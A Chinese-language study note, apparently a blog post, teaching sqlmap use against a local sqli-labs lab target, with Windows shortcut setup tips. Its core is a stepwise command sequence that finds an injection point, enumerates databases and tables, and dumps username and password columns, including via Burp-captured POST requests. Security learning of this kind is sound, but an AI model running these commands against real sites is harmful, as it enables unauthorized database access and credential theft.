网络安全学习笔记——SalMap爆破&添加快捷方式

SqlMap的使用

SqlMap是SQLMap注入的神器,但是SqlMap只能跑一些过滤不太严格的注入,也可以使用Python编写的脚本跑
SqlMap使用

本机先装好Python环境,打开sqlmap下的cmd,在cmd的对话框输入python sqlmap.py 启动SqlMap,出现以下界面就说明sqlmap能正常使用,可以在网上找教程,把sqlmap做成一个链接放在桌面,方便后续直接使用在Windows桌面创建sqlmap快捷方式

注入成功,第一个是布尔盲注,第二个是错误注入,第三个是时间盲注,注入成功之后也会在本地形成一个文件缓存,即 C:\Users\Conpere\AppData\Local\sqlmap\output\192.168.165.98

语法应用

    sqlmap语法
    首先确定注入点——实战中的注入点就是用户和数据段进行交互的地方,根据参数判断
     
    -u 给sqlmap直接传入一个url是跑不出来注入的,因为它不知道此时的参数是什么,如
    python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/
    要给它后面加参数,才能提供注入点,方便工具去查找注入,如
    python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id=1  
    传递的参数要是对方服务器里实际存在的,而且是可以注入的参数
  

SqlMap爆破

    python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id=1 --加参数
     
    --users         爆出sql的所有用户
    --passwords     爆出数据库账户与密码  一般不会直接读出账号密码,不建议使用
     
     
     
    --dbs           可以爆出该MySQL中的所有数据库的名字
    --current-db    爆出当前使用的数据库
    --current-user  爆出当前数据库使用账户
    --tables        爆出所有的表
     
    1.-D [数据库名] --tables
    2.-D [数据库名] -T [表名] --columns
    3.-D [数据库名] -T [表名] -C"username,realname,password" --dump
     
     
    MySql爆破
     
    第一步  寻找是否存在sql注入点
    python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1"
     
    第二步  查询当前sql库
    python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" --current-db
     
    第三步  脱指定库的所有表
    python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security --tables
     
    第四步  爆指定库,指定表的所有字段
    python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users --columns
     
    第五步  爆指定库,指定表,指定字段的所有值
    python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users -C "username,password" --dump
     
    --dump 爆出列表中指定列的内容
     
     
     
    SqlMap的万能用法——可用于跑post数据包(Burp和SqlMap的联动)
     
    1.拿Burp抓取post传输的,要测试sql注入的网页的包,在抓包界面右键,save item 保存文件
     
    2.打开SqlMap python sqlmap.py -r +文件的存储地址
     
    此时可以判断出来该网站是否存在sql注入点,如果有的话,还会显示相应的方式,如盲注,联合注入等
    再重复上述第二步~第五步即可

SqlMap添加快捷方式

python在cmd显示不是内部或外部命令,以及python貌似正常,但是pip不正常时——在系统变量里重新设置或添加path变量,添加内容为python的安装路径,精确到.ex

sqlmap损坏时,在官网重新下载一个文件,放到电脑里,根据在Windows桌面创建sqlmap快捷方式_一只咸鱼猫的博客-CSDN博客重新设置一遍就好了

  1. 在桌面上右键选择新建,在选择快捷方式,进入创建快捷方式页面
  2. 在创建快捷方式页面,请键入对象位置输入cmd,点击下一步
  3. 在键入该快捷方式的名称中输入,点击完成,桌面上就有个sqlmap的快捷方式
  4. 点击刚刚新增好的sqlmap快捷方式,右键属性,进入属性的快捷方式页面,把快捷方式页面上的起始位置替换成sqlmap的目录,点击应用
  5. 双击快捷方式,就可以启用sqlmap了
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值